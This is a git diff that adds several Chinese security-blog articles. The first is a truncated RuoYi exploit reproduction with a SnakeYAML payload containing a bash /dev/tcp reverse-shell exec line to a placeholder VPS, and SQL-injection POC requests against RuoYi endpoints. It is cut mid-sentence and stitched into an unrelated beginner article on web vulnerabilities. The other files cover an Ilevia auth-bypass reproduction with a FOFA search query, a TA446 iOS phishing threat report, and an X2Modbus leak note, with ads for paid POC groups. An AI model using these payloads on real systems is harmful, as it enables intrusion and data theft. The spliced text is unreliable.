+![](https://mmbiz.qpic.cn/sz_mmbiz_png/bhDuGkpteXsibib1u6bfZdZmJtSx8BSKmxrZMlDtH5WjciayG7ju7QF2HfMicziaET6yA1STQJNyNwhibx3Aibabj2ZibcuD5KT0tEP8LHNhcibTrYtA/640?wx_fmt=png&from=appmsg "") + +此时可以看见代码被执行，计算机弹出 + +![](https://mmbiz.qpic.cn/sz_mmbiz_png/bhDuGkpteXssudDHiaiajYUsSrkKUmf6VKnl20VXSZIRGTVicqSS1YmccGIRwMfe98afKyBeR2mybIhOPHhuLicYKQk6THaiawP3K7ZNMgOxx96Q/640?wx_fmt=png&from=appmsg "") +#### 准备工作 + +下载地址：https://github.com/artsploit/yaml-payload + +![](https://mmbiz.qpic.cn/mmbiz_png/bhDuGkpteXs3ibRPklBxJZcZWVobxHEASuVwdDICdA2W5TpnIOMRmMtiar74QsrhMOAUHic3uJDCjKjiaCnKCfh5Cueo0dwiapaGrotax3icsXO88/640?wx_fmt=png&from=appmsg "") + +编辑 AwesomeScriptEngineFactory.java 文件中exec的内容 + +![](https://mmbiz.qpic.cn/mmbiz_png/bhDuGkpteXtaMZlqAw6Vra3GVXbY22qfZanboWadNjSsDYFABmfGbryKozbq5lWibB9jkwJR5icaglkvJ7gCkoj7Hf7sSItWSMAtjibw5sUtOM/640?wx_fmt=png&from=appmsg "") + +这里将mspaint替换为calc，通过弹出计算器来验证漏洞是否存在，若实战时这里应填写反弹shell的代码 + +![](https://mmbiz.qpic.cn/sz_mmbiz_png/bhDuGkpteXvKGzYyl9QHiaiaczUKYibUY5WhE8dMCyOAO0Ogvibx20GOTHfOibxJyY9cDlH9s0hUVcXsN1Ph6Hibk2cjCFzib1a71ZqBDWyHLBmIzc/640?wx_fmt=png&from=appmsg "") + +修改 +``` +弹出计算器 +Runtime.getRuntime().exec("calc"); +反弹shell +Runtime.getRuntime().exec(new String[]{"/bin/bash","-c","bash -i >& /dev/tcp/you-vpsip/7777 0>&1"}); + +``` + +进行编译则会出现 AwesomeScriptEngineFactory.class 文件 +``` +javac AwesomeScriptEngineFactory.java + +``` + +![](https://mmbiz.qpic.cn/sz_mmbiz_png/bhDuGkpteXsslKFA4pUtkLo2O6hcDnBpRQ0s59YsrX8J50PMvNGicyFsvWk0TEOJgo73XIHckjUkICgyHqcu6YHr3rQkn2827ibYkiborPGTibY/640?wx_fmt=png&from=appmsg "") + +接着进行编译 +``` +jar -cvf yaml-payload.jar -C src\ . + +``` + +![](https://mmbiz.qpic.cn/sz_mmbiz_png/bhDuGkpteXu8ll2KX1ianX0to7Zf1oAMXiaSFnxkSAm42eanfbL1dsvFEt0y2aMUoD5lvmo14scXjlx66IGP732jqqVwRJhTpBDjVm0QsMg9k/640?wx_fmt=png&from=appmsg "") + +将编译好的 yaml-payload.jar 文件放入vps，并开启http服务 + +python -m http.server 80 + +![](https://mmbiz.qpic.cn/sz_mmbiz_png/bhDuGkpteXsux05licVPCozBDHHIZ1N4UAT6p5t7NjHqYd5OIZglPpfW62fa83icvYlGrb6TyDWVe1dW2fOtEOwfMmWJuM5Ib621g4ZcvnOiaY/640?wx_fmt=png&from=appmsg "") +### SQL注入漏洞1 + +漏洞影响：RuoYi< 4.6.2 + +![](https://mmbiz.qpic.cn/sz_mmbiz_png/bhDuGkpteXspicqQrBu0iaJUEeKy8iawAFZib6Q67m0tLGEQzNw7DIYOUP7743nGZmg7XKG3VqzptkOuoEApgTo8ENjeyicEwt2Kbia3q2Od4j0Hg/640?wx_fmt=png&from=appmsg "") + +抓取数据包 + +![](https://mmbiz.qpic.cn/mmbiz_png/bhDuGkpteXsWGzcC0bUW304f19l5o8c1qaIkTAXuLjia7EPUhKltt69fl9nrbdwHsSUiapwFNmxKEjneNceZL70v9JelKJWgk5djZyc3qcDKw/640?wx_fmt=png&from=appmsg "") + +漏洞poc +``` +POST /system/role/list HTTP/1.1 + +pageSize=&pageNum=&orderByColumn=&isAsc=&roleName=&roleKey=&status=¶ms[beginTime]=¶ms[endTime]=¶ms[dataScope]=and +extractvalue(1,concat(0x7e,substring((select database()),1,32),0x7e)) + +``` + +![](https://mmbiz.qpic.cn/sz_mmbiz_png/bhDuGkpteXvU8oTORbt4VeaSMbKIJQm20IXicQyxT6ZMTCUDlQV16ibPPwRWyuoOiaPpeCcZpPBxx63WR1kYYPYibJstPoFBeX5hjxFpdZSvGgc/640?wx_fmt=png&from=appmsg "") + +漏洞poc +``` +POST /system/dept/edit HTTP/1.1 + +DeptName=1&DeptId=100&ParentId=12&Status=0&OrderNum=1&ancestors=0)or(extractvalue(1,concat((select user()))));# + +``` + +![](https://mmbiz.qpic.cn/sz_mmbiz_png/bhDuGkpteXsgic68g5ZmwRPKw6qnlP5mJoCjERVPM59T3icK8C9u6ibV3vWnSME4kn6sdVxcwNp9z9WcX5oLMdvH95LnEGqvHVo34micIFz2TI8/640?wx_fmt=png&from=appmsg "") +``` +POST /system/role/export HTTP/1.1 + +params[dataScope]=and extractvalue(1,concat(0x7e,(select database()),0x7e)) + +``` + +![](https://mmbiz.qpic.cn/sz_mmbiz_png/bhDuGkpteXvvibYOlonnYCAZNv1G4pq4TjOoXxTPic6SZdksq1U4JCKdNeVYEpEQ0KOURLcLoAn4l5F2NibT9ibxZtF2FEVK4ibLno0eHQELCqLA/640?wx_fmt=png&from=appmsg "") +### SQL注入漏洞2 + +漏洞影响：4.7.0 很多刚入行的小白问我：网上漏洞名字一大堆，到底该先学哪个？ + + +我的建议永远是：贪多嚼不烂，先搞定这3个“基本功”。 只要拿下了它们，你就拿到了通往Web安全世界的入场券。 + +今天就把这就这碗“干货”端上来，相信你一定能吃得下。 +## 第一剑：SQL注入 —— 数据库的“万能钥匙” + +如果说Web漏洞有段位，SQL注入绝对是当之无愧的“常青树”。虽然它年纪够老，但至今仍是黑客拖库、洗库的头号手段。 + +它的可怕之处在于“门槛低、破坏力大”。它不需要什么复杂的配置环境，就潜伏在最常见的登录框、搜索栏或者URL链接里。 + +![](https://mmbiz.qpic.cn/sz_mmbiz_png/UlibJFdibia1g6IUpIJcMyZU6Kwq28crYwNkvxegyJF24RsN4UL8icxbZqIpomEp4lzPwXW8RTq79Ac8nDVmgIoHvEy7oecgEOsYR0SjF7F9Clc/640?wx_fmt=png&from=appmsg "") + + +为什么新手必学？ 因为搞懂SQL注入，本质上就是搞懂了前后端交互的底层逻辑。一旦注入成功，你就能直接读写后台数据库。这对新手建立“数据流转”的安全思维，有着不可替代的作用。 +## 第二剑：XSS（跨站脚本） —— 前端的“隐形陷阱” + +在各大SRC（安全响应中心）的漏洞报告里，XSS永远是刷屏的存在。它主要分为存储型、反射型和DOM型三种。 + +![](https://mmbiz.qpic.cn/mmbiz_png/UlibJFdibia1g4qemsHTdvjb9vicgu0XxIicA8MMjX3qvQiaBZlUSah0OYiccgrPfFTn9Bkic2s6CKhLyjghgNl5LXVztvI9YAulHDx4OATiakiajdwqk/640?wx_fmt=png&from=appmsg "") + + +新手建议从反射型XSS入手入门。很多人刚学时觉得：“不就是个弹窗吗？危害不大吧？” + +大错特错！ 在真实攻击场景中，XSS绝不仅是弹个窗那么简单。它能偷取用户的Cookie、劫持登录会话，甚至配合钓鱼链接实施诈骗。我早期挖到的很多中低危赏金，都是靠XSS拿下的。因为企业对前端安全普遍重视，这绝对是新手“拿首杀”的最佳突破口。 + +![](https://mmbiz.qpic.cn/sz_mmbiz_png/UlibJFdibia1g7hicTUTsP2N5RK4YYGyzOic0bXpGvMDW4nOCibibSdTS3P6VYC5ADvNUrrdibeR7rKDiamY51niaAkMh2gUSm0BHpQVKmF8taNL1yibyM/640?wx_fmt=png&from=appmsg "") + +## 第三剑：文件上传漏洞 —— 服务器的“特洛伊木马” + +这个漏洞看起来最“人畜无害”——不就是个上传头像、传附件的功能吗？ + +殊不知，一旦后端没有严格校验文件类型，这里就会变成黑客的后花园。攻击者可以上传一个恶意脚本（比如Webshell），从而直接接管服务器权限。 + +![](https://mmbiz.qpic.cn/mmbiz_png/UlibJFdibia1g5NLPia5KmSmiaDPbl1DhFQfJr7kUn14CgXM258giaQX9HEiccicmGUDmqsHicuAIu6Anicl70fQyeiacnV2ACOA4TamsWQyeKCIickhEfM/640?wx_fmt=png&from=appmsg "") + +学习的意义： 当你通过文件上传漏洞拿下服务器最高权限的那一刻，你才会真正理解什么叫“千里之堤，溃于蚁穴”。任何一个看似不起眼的功能节点，都可能成为攻破系统的致命缺口。 + +![](https://mmbiz.qpic.cn/sz_mmbiz_png/UlibJFdibia1g5icsjE4775rhG7T0Zgl9iaNYlJFbfJz7JiaCSyj0AI7jx0fgXoyLbb7fgib1uJrzGNiavCVL5IXdZGP6bbujQ2MotGAlN2dI41PByQ/640?wx_fmt=png&from=appmsg "") + + +博主碎碎念： + +把这“三剑客”的原理吃透，复现流程跑通，防御逻辑理顺，再去学OWASP Top 10里的其他漏洞，你会发现简直不要太轻松，触类旁通也就是这么回事。 +## 最后 + +想学好一门技术，光靠死磕是不够的，兴趣才是最好的老师。 + +天赋不够，可以用时间来凑；但如果没有兴趣加持，网安这条路真的很难坚持下去。枯燥的代码、复杂的逻辑，都需要热爱来支撑。 + +如果你正打算尝试网安，或者想在技术上再冲一次，我特意整理了这几年压箱底的视频教程、实战靶场笔记和漏洞复现文档，都是实打实的干货，现在无偿分享给有需要的朋友（文末自取）。 + +大环境虽难，但如果没有学历光环，也没有过人天赋，那“努力”就是我们唯一的底牌。请相信坚持的力量，共勉！ + +**黑客/网络安全学习包** + +![图片](https://mmbiz.qpic.cn/sz_mmbiz_png/TiaI8Dth4IiaRCFva2ZibMZKuNBEDOAEmkUGiakynth3MRTicLcHaV4MAvjubiaIicUx4ZrMxuSdSicjzT5HfEAzJy782g/640?wx_fmt=other&wxfrom=5&wx_lazy=1&wx_co=1&tp=webp#imgIndex=2 "") + + +![图片](https://mmbiz.qpic.cn/sz_mmbiz_png/TiaI8Dth4IiaRCFva2ZibMZKuNBEDOAEmkU7VZiaRU6vdoIQC9ToNyrFNvkWmp92gn3R2RWyGVEiaxjTlDjic3dPsW6g/640?wx_fmt=other&wxfrom=5&wx_lazy=1&wx_co=1&tp=webp#imgIndex=3 "") + +**资料目录** +1. 成长路线图&学习规划 + +1. 配套 +视频教程 + +1. SRC&黑客文籍 + +1. 护网行动资料 + +1. 黑客必读书单 + +1. 面试题合集 + + + +**282G** +《**网络安全/黑客技术入门学习大礼包** +》，可以**扫描下方二维码免费领取** +！ + +![图片](https://mmbiz.qpic.cn/sz_mmbiz_jpg/UlibJFdibia1g7gepZcg5nyzckh7ciculibicaI4b25fib288Lw3B8EbcLvMVffAd7Jxmxxvibjib1rmzibpZacs7Wsw2J1ZXKUTH9V0suFGg8pDZicW9g/640?wx_fmt=jpeg&from=appmsg&watermark=1&wxfrom=5&wx_lazy=1&tp=webp#imgIndex=2 "") + + +1.成长路线图&学习规划 + +要学习一门新的技术，作为新手一定要**先学习成长路线图** +，**方向不对，努力白费** +。 + +对于从来没有接触过网络安全的同学，我们帮你准备了详细的学习成长路线图&学习规划。可以说是最科学最系统的学习路线，大家跟着这个大的方向学习准没问题。 + +![图片](https://mmbiz.qpic.cn/sz_mmbiz_jpg/UlibJFdibia1g4G8M8KXZxyia8piajfiaU1BZrv4lb8jXneE718yU9ib1oXyVtOLBeqIJ6eVcmVYklx5K0A7m1ObMHeicyyib8JC4OqjH22D8jCnB57s/640?wx_fmt=jpeg&watermark=1&wxfrom=5&wx_lazy=1&tp=webp#imgIndex=3 "") + +![图片](https://mmbiz.qpic.cn/sz_mmbiz_png/evTLxnBbHv6fa8BCJ5052WLSGZjTIfEDgymVV6FeniaFszgpka15xzMolFmtXDdiaaDJMwXSqTQgRgBicvbYv4tNw/640?wx_fmt=other&wxfrom=5&wx_lazy=1&wx_co=1&tp=webp#imgIndex=6 "") + +2.视频教程 + +很多朋友都不喜欢 +**晦涩的文字** +，我也为大家准备了视频教程，其中一共有 +**21个章节** +，每个章节都是 +**当前板块的精华浓缩** +。 + +![图片](https://mmbiz.qpic.cn/mmbiz_png/NAkrkExZ3dnMVja8hzZpia0AkKu6AWrQn8E3Yp6lXhRo3D1Bttpiao3a0poRH29MC1MBC0hk5gKMCiaicy3wOiaUviag/640?wx_fmt=other&wxfrom=5&wx_lazy=1&wx_co=1&tp=webp#imgIndex=7 "") + +![图片](https://mmbiz.qpic.cn/mmbiz_png/NAkrkExZ3dnMVja8hzZpia0AkKu6AWrQnHBEMEd0W8dr6zFFQetPOhwiax5u8YYm0YZtWJSmyJ7d85QmuVQEicLVQ/640?wx_fmt=other&wxfrom=5&wx_lazy=1&wx_co=1&tp=webp#imgIndex=8 "") + +3.SRC&黑客文籍 + +大家最喜欢也是最关心的 +**SRC技术文籍&黑客技术** +也有收录 + +**SRC技术文籍：** + +![图片](https://mmbiz.qpic.cn/mmbiz_png/NAkrkExZ3dkY8ctWgyFKc2oWZY3ibCDm5lMpjofvtGCicHTLibsOF8b841UOfozGsdjDvJKiaFgibdTunKlgC9kzrTQ/640?wx_fmt=other&wxfrom=5&wx_lazy=1&wx_co=1&tp=webp#imgIndex=9 "") + + +**黑客资料由于是敏感资源，这里不能直接展示哦！** + + +4.护网行动资料 + + +其中关于 +**HW护网行动，也准备了对应的资料，这些内容可相当于比赛的金手指！** + +![图片](https://mmbiz.qpic.cn/mmbiz_png/NAkrkExZ3dnMVja8hzZpia0AkKu6AWrQnaPKJSI9dNKiaR4vaJf0hqApKNbJeZnCpsQSElEicDrlAMLkRXHoyKN8A/640?wx_fmt=other&wxfrom=5&wx_lazy=1&wx_co=1&tp=webp#imgIndex=10 "") + + +5.黑客必读书单 + +**** +6.面试题合集 + + +当你自学到这里，你就要开始 +**思考找工作** +的事情了，而工作绕不开的就是 +**真题和面试题。** + +![图片](https://mmbiz.qpic.cn/mmbiz_png/NAkrkExZ3dnMVja8hzZpia0AkKu6AWrQnXxPNhSSySbwUMEWOicYYS62D1UOQExv0cYuVQ68gk2uFF2xJ4TPmRHA/640?wx_fmt=other&wxfrom=5&wx_lazy=1&wx_co=1&tp=webp#imgIndex=12 "") + +**更多内容为防止和谐，可以扫描获取~** + +**** +![图片](https://mmbiz.qpic.cn/mmbiz_png/NAkrkExZ3dnMVja8hzZpia0AkKu6AWrQnGktIUCicPreibR6b3sx1Qu0CsCZP0sZtCP4RHlMdxXuE4icCFSoL2yyBg/640?wx_fmt=other&wxfrom=5&wx_lazy=1&wx_co=1&tp=webp#imgIndex=13 "") + + +朋友们需要全套共 +**282G** +的《**网络安全/黑客技术入门学习大礼包** +》，可以**扫描下方二维码免费领取** +！ + +![图片](https://mmbiz.qpic.cn/sz_mmbiz_jpg/UlibJFdibia1g7gepZcg5nyzckh7ciculibicaI4b25fib288Lw3B8EbcLvMVffAd7Jxmxxvibjib1rmzibpZacs7Wsw2J1ZXKUTH9V0suFGg8pDZicW9g/640?wx_fmt=jpeg&from=appmsg&watermark=1&wxfrom=5&wx_lazy=1&tp=webp#imgIndex=12 "") + + + +![图片](https://mmbiz.qpic.cn/sz_mmbiz_gif/TiaI8Dth4IiaRCFva2ZibMZKuNBEDOAEmkULH6MxzBRGa9Fibvuic8pv9cEjY0HWQbamrjGDz4jUgPS7TpprXiagZe6A/640?wx_fmt=gif&wxfrom=5&wx_lazy=1&wx_co=1&tp=webp#imgIndex=15 "") + +**END** + + + + diff --git a/doc/2026-04/漏洞复现 Ilevia EVE X1 Server login.php 存在身份认证绕过漏洞.md b/doc/2026-04/漏洞复现 Ilevia EVE X1 Server login.php 存在身份认证绕过漏洞.md new file mode 100644 index 00000000..4dd8036d --- /dev/null +++ b/doc/2026-04/漏洞复现 Ilevia EVE X1 Server login.php 存在身份认证绕过漏洞.md @@ -0,0 +1,128 @@ +# 漏洞复现 | Ilevia EVE X1 Server login.php 存在身份认证绕过漏洞 + 实战安全研究 2026-04-08 01:09 + +**免责声明** +
本文仅用于技术学习和安全研究，请勿使用本文所提供的内容及相关技术从事非法活动，由于传播和利用此文所提供的内容或工具而造成任何直接或间接的损失后果，均由使用者本人承担，所产生一切不良后果与文章作者及本账号无关。如内容有争议或侵权，请私信我们！我们会立即删除并致歉。谢谢！
+1 + +**漏洞描述** + + + +Ilevia EVE X1 Server login.php 接口存在身份认证绕过漏洞，未授权的攻击者可利用漏洞url获取在线用户sessionid 导致用户信息泄露，并且切换网站session后可直接接管后台，造成信息泄露或恶意破坏，使系统处于极不安全状态。 + +2 + +**影响版本** + + + +  +Ilevia EVE X1 Server + +3 + +**测绘语法** + + + +fofa语法 +``` +icon_hash="392278119" +``` + +![](https://mmbiz.qpic.cn/sz_mmbiz_png/yIciaKAicYtoq6kX0dwRF5WOJtWEWxr1iaaEtcUDsbYv03qnzmb56bMOyBgHpz6Wo06KL1vdiaicKibfdYYyfvj8Q2lQsRJhR7Nibw5yvDtuRGdLgs/640?wx_fmt=png&from=appmsg "") + + +4 + +**漏洞复现** + + + +获取cookie + +![](https://mmbiz.qpic.cn/sz_mmbiz_png/yIciaKAicYtortv1J0kaT0DnHvKVicRSOPf0J4xadRjnqntaUOfu7qJSa73wNZz7mCbVPknE2HSIn41slMnXVLALlp4Oa4FFqJUCCbnJJ3VnH4/640?wx_fmt=png&from=appmsg "") + +进入后台 + +![](https://mmbiz.qpic.cn/mmbiz_png/yIciaKAicYtoqcz0F90LEZBCfOF1icmPeTzncjZpUjEWaMd5lt1ZE7lY36lRORQfTRbnE5AqnybBjcqmibvk1Vg7M48lrVCHVwnDNjA1hVF2LibQ/640?wx_fmt=png&from=appmsg "") + +![](https://mmbiz.qpic.cn/mmbiz_png/yIciaKAicYtoo6zmKpHYEOLAJzOUQV2Sf0q0eicXoZUiaKrxIDeJJib2j862mydC3pvkfJesJQxNwADosAHbVp12bre4q5ew0A9zuryJvJ25hSlU/640?wx_fmt=png&from=appmsg "") + + +5 + +**检测POC** + + + +nuclei + +![](https://mmbiz.qpic.cn/sz_mmbiz_png/yIciaKAicYtooib0xD5HVIsDtphGOjznajDQBkE92ACh5qib8lVAEdPibOXjlMruN0wkQe9Ab9KDrpjRrGXlvWKMkGicTIsVXicmfsGOszC55bhdibU/640?wx_fmt=png&from=appmsg "") + +afrog + +![](https://mmbiz.qpic.cn/sz_mmbiz_png/yIciaKAicYtorO4aVnCJmYFb4aAkKT8ibDJOWqz8RfoBfUTKtGuMwldR2ruSpp3cgRPMQfyKSPK7qv3qkQeF0EoAGWxs6zqPBzg8uoYWxx6ZHc/640?wx_fmt=png&from=appmsg "") + + +6 + +**漏洞修复** + + +1、建议联系厂商打补丁或升级版本。 + +2、增加Web应用防火墙防护。 + +3、关闭互联网暴露面或接口设置访问权限。 + +7 + +**内部圈子** + + +**现在已更新POC数量 2250+（中危以上）** + + +🔥 **1day/Nday 漏洞实战圈上线** + 🔥 + +还在到处找公开漏洞 POC？ + +这里专注整合全网公开1day/Nday漏洞POC和复现，一站式解决你的痛点！ + +🔍  +圈子福利 + +✅ 整合全网 1day/Nday 漏洞POC，附带复现步骤，新手也能快速上手 + +✅ 每周更新 7-15 个POC测试脚本，经过实测验证，到手就能用 + +✅ 完美适配 Nuclei/Afrog 扫描工具，脚本无需额外修改，即拿即用 + +✅ 重磅福利：免费 FOFA 高级会员查询，无需账号也能高效资产测绘 + +✅ 专属权益：提供指纹识别库，指纹库持续更新 + +💡  +适合对象 + +渗透测试🔹攻防演练🔹安全运维🔹企业自查 +🔹SRC漏洞挖掘 + +⚠️  +重要提醒 + +仅限授权范围内的合法安全测试，严禁用于未授权攻击行为！ + +本服务为虚拟资源服务，一经购买概不退款，请按需谨慎购买！ + +目前圈子已满100人，价格由59.9调整为64.9元（ +交个朋友啦 +），150人后调整为66.9元。 + +![](https://mmbiz.qpic.cn/sz_mmbiz_jpg/yIciaKAicYtoq2LKleGia5Vf3N9OHAwsYdpabOVTTkhZ0VA2Rnfha6riad2eAJseVQeiaY9uyIGIDss54TNRyC4jXoecjrn9CQNAHAFbyVibY3HnI/640?wx_fmt=jpeg&from=appmsg "") + + + diff --git a/doc/2026-04/警惕！iPhone用户危险升级！俄罗斯APT组织TA446用上DarkSword漏洞套件，点开钓鱼邮件直接被攻破.md b/doc/2026-04/警惕！iPhone用户危险升级！俄罗斯APT组织TA446用上DarkSword漏洞套件，点开钓鱼邮件直接被攻破.md new file mode 100644 index 00000000..e04898ce --- /dev/null +++ b/doc/2026-04/警惕！iPhone用户危险升级！俄罗斯APT组织TA446用上DarkSword漏洞套件，点开钓鱼邮件直接被攻破.md @@ -0,0 +1,224 @@ +# 警惕！iPhone用户危险升级！俄罗斯APT组织TA446用上DarkSword漏洞套件，点开钓鱼邮件直接被攻破 +原创 AI紫队安全研究 + AI紫队安全研究 AI紫队安全研究 2026-04-08 04:28 + +**大家好，我是AI紫队安全研究。建议大家把公众号“AI紫队安全研究”设为星标，否则可能就无法及时看到啦！因为公众号只对常读和星标的公众号才能大图推送。操作方法：先点击上面的“AI紫队安全研究”，然后点击右上角的【...】,然后点击【设为星标】即可。** + +**关注视频号 “AI紫队安全研究” 不定期周五晚上10点直播。** + +![](https://mmbiz.qpic.cn/sz_mmbiz_png/E3ZvvAXyiaibmh69tDLIPJndo60LkBxG2K5Y7DYP3ZA27YEkoxaaW1BfqRDVjkSvjARUibLV232E7OwvNp2iaiaXqLVCYdkNlNXZ0JITebtJOUgs/640?wx_fmt=png&from=appmsg "") + + +你的iPhone很安全？ + +在国家级APT组织面前，只要点开一封钓鱼邮件，无需点击安装、无需描述文件，就能被远程拿下。 + + +2026年3月最新情报曝光： + +俄罗斯关联APT组织 TA446（又名ColdRiver/SEABORGIUM） + +正式启用 DarkSword iOS 漏洞利用套件，针对全球高端人群发动精准钓鱼，目标直指政府、智库、军方、金融、法律圈。 + + +这是该组织首次大规模攻击iPhone用户。 + + + +一、攻击有多狠？只靠一封“高端会议邀请” + +TA446 的手法极其专业，普通人根本分辨不出。 + + +攻击者伪造 大西洋理事会（Atlantic Council） 高层邮件，标题极为严肃： + +“闭门战略研讨会：全球动荡下欧洲安全防线” + + +邮件内容正规、语气专业、落款完整， + +诱导你点击链接查看会议详情。 + + +一旦点开： + +服务器会自动识别设备 + +只有 iPhone/iOS 用户会被跳转到漏洞页面 + +安卓/PC 看到的是正常PDF诱饵文件 + +无弹窗、无提示、无感知 + + +DarkSword 悄悄执行远程代码，直接拿下设备权限。 + + + +二、DarkSword 是什么？iOS 圈的“致命武器” + +DarkSword 是近期流出的 iOS 高级漏洞利用套件，包含： + +定向跳转器 + +加载器 + +远程代码执行（RCE）GHOSTBLADE + +PAC 绕过组件 + + +简单说： + +能绕过iPhone安全机制，静默入侵系统。 + +不需要你安装描述文件 + +不需要你点“信任” + +不需要你越狱 + + +点开链接的那一刻，攻防已经结束。 + + + +三、TA446 是谁？俄罗斯FSB背景的顶级APT + +TA446 是全球最活跃的国家级黑客组织之一，已知别名： + +SEABORGIUM + +ColdRiver + +Callisto + +Star Blizzard + + +活动始于2017年，背后关联俄罗斯FSB。 + + +传统攻击目标： + +北约成员国 + +东欧、北欧、波罗的海国家 + +乌克兰相关机构 + +国防、情报、智库、高校、NGO + +前情报官员、俄罗斯问题专家 + + +现在，他们把枪口对准了iPhone。 + + + +四、这次攻击的3个恐怖细节 + +1. 精准投喂，只打iPhone + +服务器端判断设备，只给iOS下发漏洞，安卓/PC看不到恶意内容，极难溯源。 + + +2. 从附件钓鱼 → 链接钓鱼，更隐蔽 + +过去TA446用加密ZIP投木马，现在直接用链接+漏洞kit，查杀率更低。 + + +3. 攻击范围突然扩大 + +以前只盯国防情报，现在覆盖政府、金融、法律、高校，几乎是“见iPhone就打”。 + + + +五、谁最危险？这几类人立刻自查 + +经常处理国际事务、政府工作 + +智库、研究机构、高校学者 + +金融、律所、咨询公司高管 + +涉外行业、境外联系人多 + +使用iPhone且频繁收外部邮件 + + +只要收到陌生“会议邀请、内部通知、文件核对”邮件，一律高度警惕。 + + + +六、iPhone用户必做的5件防护事 + +1. 不点陌生邮件链接，尤其会议、通知类 + +2. 关闭邮件“自动加载远程内容” + +3. iOS保持最新系统，封堵已知漏洞 + +4. 开启“锁定模式”（Lockdown Mode）高危人群必开 + +5. 邮件来路不明 → 直接删除，不预览、不点击 + + + +结语 + +iOS 不再是天然安全堡垒。 + +当国家级APT组织用上定向钓鱼 + 零日漏洞套件， + +最危险的不是技术，而是你习惯性点开链接的那一秒。 + +**** +**** +**加入知识星球，可获取权益** + +一、"全球高级持续威胁：网络世界的隐形战争"，总共26章，为你带来体系化认识APT，欢迎感兴趣的朋友入圈交流。 + +![](https://mmbiz.qpic.cn/sz_mmbiz_png/E3ZvvAXyiaiblj6Qa1c5j4iaSxNtaWyMmOrsJ7WJafnTfxff3PA2nhkdQL7AyqtkzhPaoCicbu2FWhIAe1y02o5icTMZiaiaD1T4WXgf5TRsAVyEFU/640?wx_fmt=png&from=appmsg "") +![](https://mmbiz.qpic.cn/sz_mmbiz_png/E3ZvvAXyiaibnktJXjn2dTEgVUWmIWdKXJgIZS0KhKF8ibmydnqG96GS34rsgMbzVykvVqPDaAXxMfRibxr9eiaAibVFTicLibOYricakqjzPTicBroR0/640?wx_fmt=png&from=appmsg "") + +二、为什么加入？   + +职场瓶颈期找不到突破方向？安全项目落地缺成熟方案？面对APT攻击、勒索病毒不知如何构建防御体系？   + + +三、在这里，你能获得的不只是资料包，而是直接对接行业专家的「私人顾问服务」  + +✅ 职业发展「精准导航」 + + 1v1简历优化：针对安全岗（渗透测试/安全运营/合规等）拆解JD，突出核心竞争力；   + + 晋升避坑指南：从工程师到安全负责人，分享晋升路径，避开「技术强但管理弱」的晋升陷阱； + + 技能栈规划：根据你的基础（应届生/3年经验/资深专家）定制学习路线，比如从0到1学SOC安全建设、APT威胁狩猎。 + +✅ 安全方案「对症开方」 + + 实战方案库：含医疗/制造业/等行业的勒索防御、数据安全合规、供应链安全加固方案（附落地工具清单+成本测算）； + + 架构设计咨询：小到EDR选型，大到零信任体系搭建，提供「预算效果」平衡的最优解（已帮10+企业节省40%防护成本）。 + +✅ 圈子资源「直接对接」 + + 大厂安全负责人拆解真实案例（如某支付公司攻防对抗的实战复盘）；   + + +四、适合谁？   + + 想突破职业天花板的安全工程师/架构师；   + + 需快速落地安全项目的企业负责人；   + + 关注行业动态的安全爱好者或IT从业人员。 + + +**喜欢文章的朋友动动发财手点赞、转发、赞赏，你的每一次认可，都是我继续前进的动力。** + + + + diff --git a/doc/2026-04/迅饶科技 X2Modbus网关 GetConfig 信息泄露漏洞.md b/doc/2026-04/迅饶科技 X2Modbus网关 GetConfig 信息泄露漏洞.md new file mode 100644 index 00000000..9ad769f4 --- /dev/null +++ b/doc/2026-04/迅饶科技 X2Modbus网关 GetConfig 信息泄露漏洞.md @@ -0,0 +1,50 @@ +# 迅饶科技 X2Modbus网关 GetConfig 信息泄露漏洞 +原创 安羽安全 + 安羽安全 安羽安全 2026-04-08 01:55 + +**01****免责声明：** + +文章内容仅供日常学习使用，请勿非法测试，由于传播、利用此文所提供的信息而造成的任何直接或者间接的后果及损失，由使用者承担全部法律及连带责任，作者及发布者不承担任何法律及连带责任。如有内容争议或侵权，我们会及时删除。 + +**02    漏洞描述** + +迅饶科技 X2Modbus网关 GetConfig 信息泄露漏洞 + +**fofa：icon_hash="-1384370370"** + +![](https://mmbiz.qpic.cn/mmbiz_png/h29PqzMrB7vSzDn3MhibpjLcF1OalarbYic5OliaV6N9399lYdplYZt8fOXxOPEpvpKSVFz8epUL59HBM57CMgRzTShBb7L7vBPVgnhUjrq4EM/640?wx_fmt=png&from=appmsg "") +## 03    漏洞复现  + +1、访问系统 + +![](https://mmbiz.qpic.cn/mmbiz_png/h29PqzMrB7sc7BeLzvFSlIX4dWrVmBm9v6ZcMhMe4ITMcdDG1KSeaRcC2bGDCfPiaFqhPEsqzXEjE8FSyg81Tmmf79k2uvmicjWrqPtwFEFvo/640?wx_fmt=png&from=appmsg "") + +2 +、漏洞验证 + +![](https://mmbiz.qpic.cn/sz_mmbiz_png/h29PqzMrB7tGZq8MRyveUxL16Hu5cNaGiciaEEHVsgXdHZCZXHGYAZoxRIwxT5GIVkSibpAialLgib0qGO5ybKibOCaU8AvPRicWlcsUnwSHibZwM6Y/640?wx_fmt=png&from=appmsg "") + +**关注公众号回复：260408 获取漏洞POC详情** + +**04    漏洞详情** + +**Nuclei 批量自查验证脚本，加入下方内部圈子获取** + +![](https://mmbiz.qpic.cn/sz_mmbiz_png/h29PqzMrB7vWlxwLTA4cD1ozWr8hXXxgPmTWBbtfTEPygAQpJ36FN0b5TgdnhOqoA5t49DIM77icoV8ZxicKlicxkLIA4fjUbXzlgypXKibcND0/640?wx_fmt=png&from=appmsg "") + +**圈子目前福利：** + +每周持续更新，已更新漏洞500+ + +md5帮忙解密 + +凌风云网盘搜索 帮忙下载资源 + +后续福利还在增加中...... + +**漏洞持续更新中，限时立减19.9** + +![](https://mmbiz.qpic.cn/mmbiz_png/h29PqzMrB7tGK23lrqWV2ldkYzNRFxCibr1PGbOg8EL75C5icE4PFEgSWibZfULz1OSRyHZ6QAUsiaeczlcoPdI7KGhNZxiaAjaZU5ltHfy59ko8/640?wx_fmt=png&from=appmsg "") + +扫描 图片 二维码即可加入纷传内部圈子 +